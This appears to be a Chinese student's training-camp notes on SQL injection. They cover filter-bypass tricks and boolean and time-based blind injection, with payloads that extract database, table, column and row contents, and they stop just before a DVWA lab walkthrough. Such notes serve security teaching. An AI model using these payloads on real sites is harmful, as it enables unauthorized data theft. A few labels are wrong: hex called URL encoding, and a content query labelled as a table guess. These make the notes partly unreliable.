集训的第四天:有关SQL绕过和盲注
学姐今天给我们讲解了有关SQL绕过和盲注的知识。我们动手操作了几次实验。
数字型SQL注入
SQL注入的过程中有些特定的字符或者字符串会被过滤,数据库无法了解正确的查询语句。
如何绕过过滤
运用编码技术绕过
ASCII码
CHAR(101, 97, 115, 116)等价于east
URL编码
0x61646D696E等价于admin
重复:
例如 :seleselectct和admadminin
大小写交替:
例如:SeLEct和UnIOn
空格的绕过
用两个空格或者TAB代替
%a0代替
/**/代替
用括号()代替
用+代替
用花括号{}代替
用单引号或双引号代替
关键表名过滤绕过
information_schema(这里空格).(这里空格)tables
过滤等号
用like
过滤引号
0x7573657273即等于”users”
过滤大于小于号
函数greatest()和least()分别替代(>)和(<)
例如:
select * from users where id=1 and ascii(substr(database(),1,1))>64
`
等价于
`
mysql
select * from users where id=1 and greatest(ascii(substr(database(),1,1)),64)=64
过滤逗号
substr(str,1,1)
等价于
substr(str from 1 for 1)
SLEEP函数中不能用数字
用pi()和ceil()过滤
sleep(ceil(pi()))
过滤注释符(#、 –+)
用闭合的方式:
1’ and ‘1
采用重复的技术绕过
宽字节注入
order by被过滤
使用into变量来绕过:
select * from users limit 1,1 into @a,@b,@c
利用等价函数
hex()、bin() ==> ascii()
sleep() ==> benchmark()
concat_ws() ==> group_concat()
mid()、substr()==> substring()
@@user ==> user()
@@datadir ==> datadir()
MYSQL条件注释利用
/!../
以上语句在其他数据库中不执行,但在MYSQL中执行
/!50000…/
以上语句在50000版本以上不执行,否则必执行,用于过滤正则表达式
盲注
SQL盲注常用函数:
if和case when:用于时间盲注
substring、substr、mid等:用于截断字符串
ascii:使字符变成ASCII码
limit offset:用于猜取内容
布尔盲注
即只有TRUE和FALSE两种状态,过程中需要猜测,直到正确为止
判断是否有盲注点
1’ and 1=1 # 返回TRUE
1’ and 1=2 # 返回FALSE,并且没有返回
即SQL语句执行成功和失败的返回界面存在某种固定的差异
猜解库名、表名、列名、内容
1’ and substr(database(),1,1)=’a’ # 猜解库名
1’ and substr((select group_concat(table_name) from information_schema.tables where table_schema=’DatabaseName’),1,1)=’a’ # 猜解表名
1’ and substr((select group_concat(column_name) from information_schema.columns where table_name=’TableName’),1,1)=’a’ # 猜解列名
1’ and substr((select group_concat(SomeThing) from DatabaseName.TableName),1,1)=’a’ # 猜解表名
时间盲注
即对一个命令只有一个固定的反应,如果是正确的就会等待一定的时间再反应,如果错误立即反应
判断是否有盲注点
1’ and if(1=1,sleep(5),1) # 延迟返回为TRUE
1’ and if(1=2,sleep(5),1) # 不延迟返回为FALSE
基本与布尔盲注类似
猜解库名、表名、列名、内容
1’ and if((substr(database(),1,1)=’a’),sleep(5),1) # 猜解库名
1’ and if((substr((select group_concat(table_name) from information_schema.tables where table_schema=’DatabaseName’),1,1)=’a’),sleep(5),1) # 猜解表名
1’ and if((substr((select group_concat(column_name) from information_schema.columns where table_name=’TableName’),1,1)=’a’),sleep(5),1) # 猜解列名
1’ and if((substr((select group_concat(SomeThing) from DatabaseName.TableName),1,1)=’a’),sleep(5),1) # 猜解表名
上课的DVWA题
以下为猜解过程: